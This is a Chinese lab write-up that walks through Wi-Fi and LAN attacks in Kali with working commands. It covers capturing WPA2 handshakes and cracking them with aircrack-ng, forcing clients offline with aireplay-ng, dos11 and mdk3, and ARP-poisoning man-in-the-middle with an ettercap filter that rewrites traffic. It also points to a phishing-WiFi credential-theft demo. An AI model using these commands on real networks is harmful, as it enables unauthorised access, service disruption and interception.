无线安全实验汇总

概要

上周应前辈邀请在闲余时间和队友mklkx一块复现了无线安全相关的几个科目,综合实验下来,发现目前无线安全的检测和破解,主要还是依靠当前的Kali-Linux配套工具进行操作,不过操作其中也存在不少的坑点,这里尽量把实验操作和出现坑点的位置都总结清楚,方便对无线安全感兴趣的师傅们研究。所以文章的篇幅会比较长。以下所有实验均使用Kali虚拟机实现,仅用于技术分享讨论。

目前来说,无线安全主要还是针对于WIFI、内网的ARP进行攻击和操作,这里总结了几个较为实用的实验和工具。

实验预备

设备 用途
无线网卡 监听无线数据等
Kali虚拟机 具体的实验操作
AP 作为无线实验的靶机等

kismet监测无线网络

当攻击者在准备对假设的WIFI进行具体攻击和分析时,一般都需要获取到WIFI的BSSID等基础信息,那么除了我们使用常规的airodump去获取基本信息,也可以借助专业的无线嗅探工具进行操作——Kismet,在最初的版本是shell命令行版本的,虽然已经具备了高亮显示等功能,但是观感依然不是太强,不过在Kali2019版本中,Kismet已经拥有了专业的WEB端,不过国内分享的相关教程还是以传统的shell端为主,这里记录一下WEB端的相关操作。

首先连接无线网卡之后,打开无线网卡的监听模式

airmon-ng start wlan0

image-20211125192133079.png

当wlan0mon的Mode出现Monitor状态时,证明开启成功,下面开启Kismet工具,这里直接在命令行输入kismet即可,输入之后弹出如下内容

image-20211125192509180.png

提示我们在本地的2501端口开启了服务,我们可以访问该地址进行后续的操作,在初次进行访问时,需要我们进行一下用户信息的配置,相关的鉴权配置和用户名密码在设置好之后,默认配置目录存放在

/root/.kismet

当忘记具体的配置信息时可以在该目录下进行查看和修改

image-20211125192056530.png

登陆之后访问页面,我们需要再开启一下要监听的网口,在页面右上角处Data Sources进行开启

image-20211125192814699.png

点击wlan0mon

image-20211125193019670.png

选择打开按钮之后,即可开始监听,此时可对设备附近WIFI进行监听和分析

image-20211125192829525.png

我们可以在此处进行简单的channel配置等

同时在右上角的Settings处进行其他WIFI参数显示和高亮配置

image-20211125193144355.png

image-20211125193149178.png

此时可以在主页查看附近探测到的WIFI基础信息

image-20211125193223194.png

在附近WIFI比较繁多的情况下,在Devices处进行过滤

image-20211125193253137.png

如果需要查看具体的WIFI信息,点击指定的WIFI名称

image-20211125193313237.png

此时可以在该页面查看该WIFI的具体BSSID和channel,在WIFI处我们可以查看连接该WIFI设备的基础信息

b62c07c34d161a9271e66f58cd615c9.png

在Packet Graphs处可以查看最近时间的流量波动情况

fad5db2a567d66dc8c4c3bdc75c492e.png

在主界面下方的Messages会实时展示监听到的数据,同时在Channels处可以显示相关图标数据

image-20211125193355397.png

同时支持筛选功能,不过在使用Kismet要注意,在使用Kismet之后,无线网卡会出现监听问题,不能和其他实验同时执行,所以在使用Kismet之后,尽量重启相关设备,避免造成后续实验的失败

aircrack-ng破解WPA2密钥

这个实验还是比较有实操性的,这里的大概思路和Burp爆破HTTP登陆报文一样,我们通过开启网卡的监听模式,监听具体的WIFI信号相关数据,然后通过截取其他设备链接WIFI的报文,从而获取到相关登陆鉴权操作的加密数据,再通过密钥枚举的方式,破解WIFI密码

连接无线网卡,查看相关基础信息

ifconfig

image.png

存在wlan0网口证明无线网卡连接成功,打开无线网卡的监听模式

airmon-ng start wlan0

image.png

显示为监听模式,开启成功,下面查看一下附近的WIFI,获取我们要爆破的WIFI的基础信息

airodump-ng wlan0mon

image.png

查看到我们用自己手机开启的名为huawei的无线网络名称及WIFI的bssid,开启监听

airodump-ng --bssid E2:20:27:C6:2E:99 -c 1 -w 123 wlan0mon

这里稍微详细的介绍一下这几个参数,bssid就是设备的信息,-c是设备所处的channel,我们同样可以在airodump的数据中查看,CH列即为该WIFI所在的channel,-w是讲我们截取的报文信息输出的文件名称,当我们停止监听时,就会在当面目录下生成相关的cap及其他文件,最后的wlan0mon就是我们的使用的网卡

image.png

执行抓包命令之后,我们可以使用新的设备连接需要爆破的WIFI,使得我们的网卡能够抓取到连接的报文信息

cc963ab0f734b330362aec14553c22b.png

当抓取页面右上角出现WPA handshake信号时,证明我们成功抓到了设备连接WIFI的握手包,下面可以停止监听,并对握手包进行爆破

如果我们在真实条件下长时间抓不到设备连接WIFI的报文时,我们还可以通过aireplay或者mdk3进行dos攻击,强迫设备断开,再次进行连接并抓包,这里演示一下相关的强制重连操作,首先是aireplay

aireplay强制设备下线,这里需要选择指定下线的设备,这个设备的BSSID我们可以在airodump监测时发现,也可以在监听WIFI时查看,比如在上面的截图STATION处即为连接huaweiWIFI的设备信息

aireplay-ng -0 1000 -a E2:20:27:C6:2E:99 -c 9C:5A:81:71:15:B7 wlan0mon

# -0 1000 指攻击包为1000
# -a 为WIFI的BSSID即MAC地址
# -c 为强制重连设备的MAC地址

攻击操作如下:

5.png

之后也可以监听到设备连接WIFI时的报文,之后我们就可以对截取的报文进行暴力枚举的操作

aircrack-ng -w <指定字典路径> <握手包路径>

例:aircrack-ng -w pass.txt 123.cap

6.png

当出现下面页面时,证明爆破成功

eefc2950ea6014e081775a7a8a81d53.png

该WIFI的密码为ylb123123123

WIFI钓鱼实验

这个实验其实本质上不止是一个简单的钓鱼WIFI,还涉及到钓鱼网站的搭建以及DNS劫持的综合实验,这个实验其实已经在我之前博客网络安全宣传周演示:钓鱼WIFI+钓鱼网站+DNS劫持组合拳实现用户信息窃取里面详细介绍过了,这里直接把相关内容转移过来了

网络安全宣传周演示:钓鱼WIFI+钓鱼网站+DNS劫持组合拳实现用户信息窃取

WIFI拒绝服务攻击实验

WIFI的拒绝服务攻击和传统的DDOS攻击所用原理其实相仿,都是利用短时间大批量的流量进行攻击,与传统DDOS的泛洪攻击大批量僵尸主机访问站点堵塞网站相似,WIFI的拒绝服务攻击,常常是伪造大量连接认证的方式实施DOS攻击,具体的攻击工具可以选用网上开源的攻击脚本,或mdk3等工具实施操作

这里以网上开源脚本为例

首先开启wlan的监听模式

airmon-ng start wlan0

之后使用我们kismet获取到的信息,选择需要爆破的指定WIFI

image-20211125204157450.png

选用攻击脚本

https://github.com/qq906907952/dos11

不同攻击方式:

deauthentication attack # 解认证攻击

./dos11.py deauth --client-mac  FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0
disassociation attack #解连接

./dos11.py disas  --client-mac  FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0
channel switch announcement #信道切换攻击

./dos11.py csa --client-mac  FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0 --switch-channel 1 --cap 65535
fake auth 假认证攻击

./dos11.py fake_auth --client-mac  FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0 --auth-algorithm 1 --interval 0
delete block ack (maybe not work)

./dos11.py delba --client-mac   FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0

这里我们选择第一种攻击方式进行操作

./dos11.py deauth --client-mac  FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 20:DC:E6:D4:E9:50 -i wlan0mon

执行

image-20211125205823982.png

发现脚本已经伪造大量的数据包去访问我们要攻击的AP设备,访问一下AP的网络配置页面

image-20211125205934207.png

发现加载速度变得非常缓慢

image-20211125205926093.png

加载之后,发现网络配置页面发生瘫痪,证明DOS攻击成功,这里也分享一下使用mdk3进行dos攻击的操作,其原理是伪造大量的虚假连接设备,大批量连接我们指定的AP设备,从而达到瘫痪服务的目的,这里由于设备没在身边,就不再演示该工具

mdk3 waln1mon a -a 00:00:00:00:00:00

ARP欺骗中间人攻击实验

这个实验主要是由mklkx做的,因为单位的电脑同时跑不动三台虚拟机,就让她来实操了,这个实验主要是依赖ettercap工具做的,虽然Kali里面有很多ARP欺骗的工具,但是根据W22老哥给我的力荐,说这个工具做ARP相关的实验时,特别的方便,用了一下果不其然。

首先打开工具,输入命令,会弹出ettercap的图形化页面,同时会将嗅探过程中产生的数据保存为指定的dara.cap文件

ettercap -G -w dara.cap

选择菜单栏Sniff,以Unified sniffing模式开启嗅探,选中当前使用的网卡,点击OK进入嗅探:

5-2.png

嗅探开始后以此操作:Hosts->Hosts list & Scan for hosts

5-3.png

此时工具会对我们内网的存活主机进行扫描,扫描结束后会列出当前局域网下所有的IP和MAC地址,我们选择131和129这两台设备进行ARP欺骗的实验

5-4.png

下面我们复现一下ARP欺骗的操作,ARP欺骗的主要原理可以在网上去搜索专业的解释。

我这里用较为浅显的语言解释一下我个人的理解,在内网环境下,设备的通讯主要依靠广播地址也发送,而发送的收件人是以设备的MAC地址为准,相关的IP与MAC地址的对应关系均保存在设备的ARP缓存表中,而中间人欺骗其实就是我们通过工具或其他操作,将所要发送信息的设备ARP缓存表进行更新,将自己的MAC地址与收件人的MAC地址在发送信息的设备缓存表中变换为一样的;从而导致发送信息的设备在进行信息发送的过程中根据收件人的MAC地址进行发送时,讲信息发送到了我们伪造的设备上。

操作流程:

选择添加目标1“Add to Target 1”;再选择第二个,添加目标2“Add to Target 2”。

选择菜单栏下Mitm -> ARP poisoning 开启基于ARP的中间人攻击:

5-5.png

假设我们所要欺骗的主机IP为131,所要伪造的MAC地址的主机IP为129,我们执行ARP欺骗的设备IP为128,此时在131的设备上输入命令查看ARP缓存表

arp -a

5-222.png

发现在IP为131的设备的ARP表中我们的攻击设备138的MAC地址和129设备的MAC地址变为一样的操作,证明我们的ARP欺骗成功,下面我们进一步的演示ARP欺骗的危害之一——中间人攻击

首先我们尝试在没有中间人攻击的情况下,131设备和129设备通讯的结果

129作为接收方,我们监听一下12345端口

nc -lvvp 12345

131作为发送方

nc 192.168.107.129 12345

在131处发送数据:

5-117.png

在129处成功接收到数据

5-8.png

证明正常通讯无误,下面执行一下中间人攻击的过程,首先编写替换的脚本

if (ip.proto == TCP && tcp.dst == 12345) {
   if (search(DATA.data, "Hello world")) {
      replace("Hello world", "Guess Guess"); # note: replacement string is same length as orig$
      msg("getit\n");
   }
}

# 这里要注意的问题,所要替换的语句长度要有原语句长度一致,否则会出现执行错误等问题

整个逻辑非常的简单,大致就是监测TCP端口12345,当我们发现传输的数据中探测到了指定的字符串,就将指定的字符串替换成我们自己构造的字符串,同时在命令行端输出getit信号,证明替换成功,将我们构造的代码命名为filter.txt,编译为组件:

etterfilter filter.txt -o filter.ef

5-9.png

回到攻击ettercap,进行导入

Filters->Load a filter

将我们的ef文件进行导入操作,之后重新开启我们的ARP欺骗

Mitm->ARP poisoning->Sniff remote connectiongs

此时,我们再次在发送数据处进行输入字符串

5-10.png

在监听数据出查看

5-11.png

发现数据已经被我们替换为二次构造的字符串,达到了中间人攻击的目的,证明实验成功


2 thoughts on “无线安全实验汇总”

发表评论

邮箱地址不会被公开。 必填项已用*标注